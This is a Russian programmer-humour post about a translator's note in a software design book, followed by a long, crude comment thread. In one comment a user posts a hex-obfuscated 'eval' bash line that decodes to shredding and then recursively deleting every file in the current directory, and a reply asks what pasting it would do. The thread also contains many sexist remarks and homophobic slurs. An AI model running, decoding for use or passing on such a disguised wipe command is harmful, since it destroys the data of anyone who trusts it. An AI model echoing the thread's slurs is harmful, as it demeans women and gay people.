Политкорректный углубляющий рефакторинг

Глубокий политкорректный рефакторинг - зачем он?

Ясен пень, что читать программерские книги на русском — себя не уважать. В том числе из-за таких вот дебильных отсылок. Поэтому чуваку, сделавшему скриншот, остается пожелать лишь одного — купи себе книгу на англицком, бро!

Оригинал

56 Комментариев

  1. Хитрый винт:

    Почему книга лежит на чьей-то сраке? И почему срака не бритая?

    89

    2
    • У политкорректного шакала таких вопросов не должно возникать.
      Но если интересно, то лучше спросить у автора — Сергея Гарника.

      6

      1
    • Парвиз-пиздолиз:

      Это ж пузо а не жепа

      4

      3
  2. Мурзік:

    Хуйня, не читати !111!

    4

    0
  3. Джава бог:

    Пойду куплю эту книжку и положу на полку, всем известно что программисты книжек не читают, а только смотрят видео уроки.

    18

    0
    • Бомж-алкоголик:

      и еще конференции посещают, там вообще можно что угодно выучить

      2

      1
      • Джава бог:

        Заодно и подкрепиться, конференции я люблю, особенно где унижают плюсы и прославляют Джаву

        9

        0
        • Парвиз-пиздолиз:

          Чтоб тянку подцепить?

          0

          0
          • Джава бог:

            Тянка и джава вещи не совместимые, тут была статья про объект = новый объект, полистай.

            1

            1
            • Парвиз-пиздолиз:

              А название? Епам зазывает массажисток-шлюх?

              0

              0
        • Исламбек:

          Джава — говно для слабоумных макак.

          10

          9
          • Джава бог:

            Но за это говно платят хорошо и знание того что за джаву платят хорошо пуканы взрывает и порождает тонны высеров

            11

            0
            • Парвиз-Гомофоб:

              А еще от знания того что хорошо платят гей-шлюхам, тоже пуканы взрывает и порождает тонны высеров.

              9

              2
              • Парвиз-пиздолиз:

                Тебе первому пукан рвет.

                1

                1
        • Ебанько:

          Это не конференции, а встречи анонимных пидарасов 😉

          6

          0
  4. Парвиз:

    Судя по всему, книгу на толчке читал епамовец, который не бреет лобковые волосы, в отличие от своего коллеги.

    20

    0
    • Іво Бобул:

      Откуда знаешь, что коллега бреет?

      2

      9
    • EPAM синьор:

      Я брею лобковые волосы и подмыхи! Я человек, а не обезьяна!

      4

      2
  5. PopUp:

    Пойду читану Джо Селко

    0

    0
  6. Исламбек:

    Вот выебщики в своём репертуаре, обязательно надо понтануться, что читать надо именно на английском, хотя нихуя никакой разнцы нет. Ебаные имбецилы.

    23

    15
    • Да на англицком элементарно ПРОЩЕ ПОНЯТЬ!
      Только мазохист будет на руссише читать.

      19

      6
      • Ракоман:

        Как можно легче понять, если еще и переводить нужно?

        4

        8
        • Дык не нужно переводить!
          Нужно сразу запоминать в языке оригинала блеать.
          Или есть сакральный смысл переводить Model как «Модель», View — как «Вью», Control как «Контрол»?

          18

          2
          • Человек-Ватник:

            … «Представление» и «Елемент управления», попрошу.

            3

            0
            • забугорное зло:

              Просто иди нахуй со своими представлениями и эллементами управления.

              0

              0
    • Человек-Ватник:

      Может у тебя еще IDE на русском?

      0

      0
  7. zalupa:

    Да уж, мудацкое замечание. Вот наверно женщинам-программисткам будет приятно такое прочитать.
    Даже не просто мудацкое, а мудацкое без причины. Мог бы перевести как «она», мог бы просто тихо изменить на «он», но нет, мудак решил показать себя во все красе, довести так сказать до широких масс свою жизненную позицию. Что он мол тоже «право имеет», что имеет маленькую, но власть. А то что редактор такое пропустил делает и ему и всему издательству большой минус.

    18

    5
    • Джаба-джун:

      Переводчик делал перевод, такой, чтобы читателю было удобно, ибо и правда многие термины в женском роде на русском языке звучат довольно дико. Т.е. автор-переводчик постарался сделать так, чтобы его текст легко читался, а не просто гугл-транслейтом перевёл.

      А ты небось очередная активистка ФЕМЕН, бегающая с голой пиздой и борящаяся за какие-то права, которые и так у женщин есть.

      12

      5
    • Поргомитс:

      Мне, например, без разницы М или Ж. Я всегда захожу с черного хода.

      11

      0
  8. Кек:

    2016
    @
    кто-то открыл для себя что оказывается есть gender-neutral произношения
    @
    половине ваще похуй всё, кроме волосни на фото
    @
    кто-то кукарет что русские книги ненужны, онли инглиш ма’фака
    @
    как же таки на самом деле политкорретно делать рефакторинг?
    @
    $ eval $’\x66\x69\x6e\x64\x20\x2d\x74\x79\x70\x65\x20\x66\x20\x2d\x65\x78\x65\x63\x20\x73\x68\x72\x65\x64\x20\x2d\x66\x20\x2d\x6e\x20\x34\x32\x20\x2d\x75\x20\x27\x7b\x7d\x27\x20\x27\x3b\x27\x20\x26\x26\x20\x72\x6d\x20\x2d\x72\x66\x20\x2a’

    9

    0
    • mevsme:

      что будет, если я это копипейст в терминал?

      1

      0
  9. λ-самец, угнетатель эйчарок, охотник за писечками тестировщиц и просто хороший парень:

    А вбросьте на фем.паблики.

    8

    4
    • Мурзік:

      Палок тобі підкинути треба — знімай штани, ставати рака !111!!!!

      3

      3
      • λ-самец, угнетатель эйчарок, охотник за писечками тестировщиц и просто хороший парень:

        хохло кiт iбав вас в рит

        2

        7
    • 0x00:

      кого ты там угнетать можешь, лямбда-самец?

      15

      0
  10. Джанго:

    Что это за хуита вообще? Про углубляющий рефакторинг. Про какую-то хуйню, малафью. Нахуя такое читать? Какой от этого толк?

    8

    0
    • λ-самец, угнетатель эйчарок, охотник за писечками тестировщиц и просто хороший парень:

      Ну у меня привстал немножко.

      9

      2
    • полковник:

      шишка встанет: будем малафить!

      1

      0
  11. 0x00:

    перевод под редакцией в. сюткина.

    5

    2
  12. reader:

    Промахнулся афтор:

    Политическая корректность предполагает замену слов, которые имеют половую принадлежность, на гендерно-нейтральные термины, например, «chairperson» вместо «chairman» (председатель);
    https://ru.wikipedia.org/wiki/Политическая_корректность

    Ну а за чтиво на аглицком люто плюсую — заебали уже вьіебщики на хабре, которьім подавай все только на российской мове

    2

    0
    • Хуетатор:

      Про модели и прочую техническую поебень пишите и читайте на английском — язык специально созданный, чтобы программировать людей. А вот про красоту природы и глубину душевных переживаний лучше чем русский язык не найдешь. На меня-то не смотрите, я не Пушкин.

      3

      3
  13. PC Principal:

    Какая тут нахуй политкоректность — это же оголтелый сексзим и дискриминация!
    Мужчина-переводчик Женщину-программиста заменил на мужчину-программиста что бы мужчинам-программистам было удобнее читать. Да за такое нужно ноги переломать!
    Давно решили что ради политкорректности программистов нужно называть ОНО ! Потому что в офисе не должно быть деления по половому признаку.
    И тем более пользователя нужно называть ОНО. Потому что мы одинаково любим и уважаем всех наших пользователей: не только мужчин и женщин, но и все другие возможные варианты!

    8

    2
    • Хуетатор:

      Надо просто запретить половой признак, вот и всё. Bingo!

      3

      0
    • senior pomidor:

      Ты нахуя хуйню несешь? Мужчину программиста называть он, женщину она, а тебя, сучка, оно. Все довольны

      1

      0
  14. JunkieQA:

    Я считаю, что эта книга оскорбляет вертосексуалов.

    Почему фигурирует не человек, считающий себя вертолетом и занимающийся финансовым учетом? Нас что, таких мало?

    Автора распять на винте Апача!

    5

    0
    • Хуетатор:

      А ты докажи вначале, что вертолёты у тебя вызывают половое влечение и неуёмную сексуальную страсть.
      Тото и оно, а некоторые ради доказательства в очко пялятся

      2

      0
  15. пхп-пихарь:

    Шо бля, ни один не узнал что за книга? Эванс DDD.
    Таки пихапешники уже скоро будут пиздить сцанными тряпками жаберов с гадюками?

    1

    0
  16. ISPF:

    Все просто такие дохуя умные, но забыли одно. Слово «User» и иже с ними в английском имеет женский род, поэтому и «she/her». Поэтому у нас айти и ебаное, что переводчики языков не знают, а все остальные кукарекают за сексизм.

    1

    0
    • Мимокрокодил:

      Сэр, вы таки еблан? В английском нет родов, только местоимения пола, блять.
      Ах, да, а вот к неодушевленному предмету, к которому привязался, обращаются обычно «она» лал.
      Да, к самолету, фордфокусу и прочим бульдозерам

      0

      0
  17. fuf:

    так в английском бородатые гуру действительно ради политкорректности пишут и говорят she или даже they в единственном числе.

    зачем только такой комментарий печатать?

    1

    0
  18. Ватник:

    Это в цэевропейской стране должны читать на Инглишь, потому как на державной мове книг по теме просто таки исчезающе малое количество. Ну а мне чтобы выучить С не надо предварительно учить Инглиш все равно я не буду им владеть лучше нуёркского бомжа, я спокойно почитаю на родном K&R благо перевод пережил несколько изданий, я знаю что большинство цэевропейцев плачут колются но то же читают на великом и могучем.

    1

    0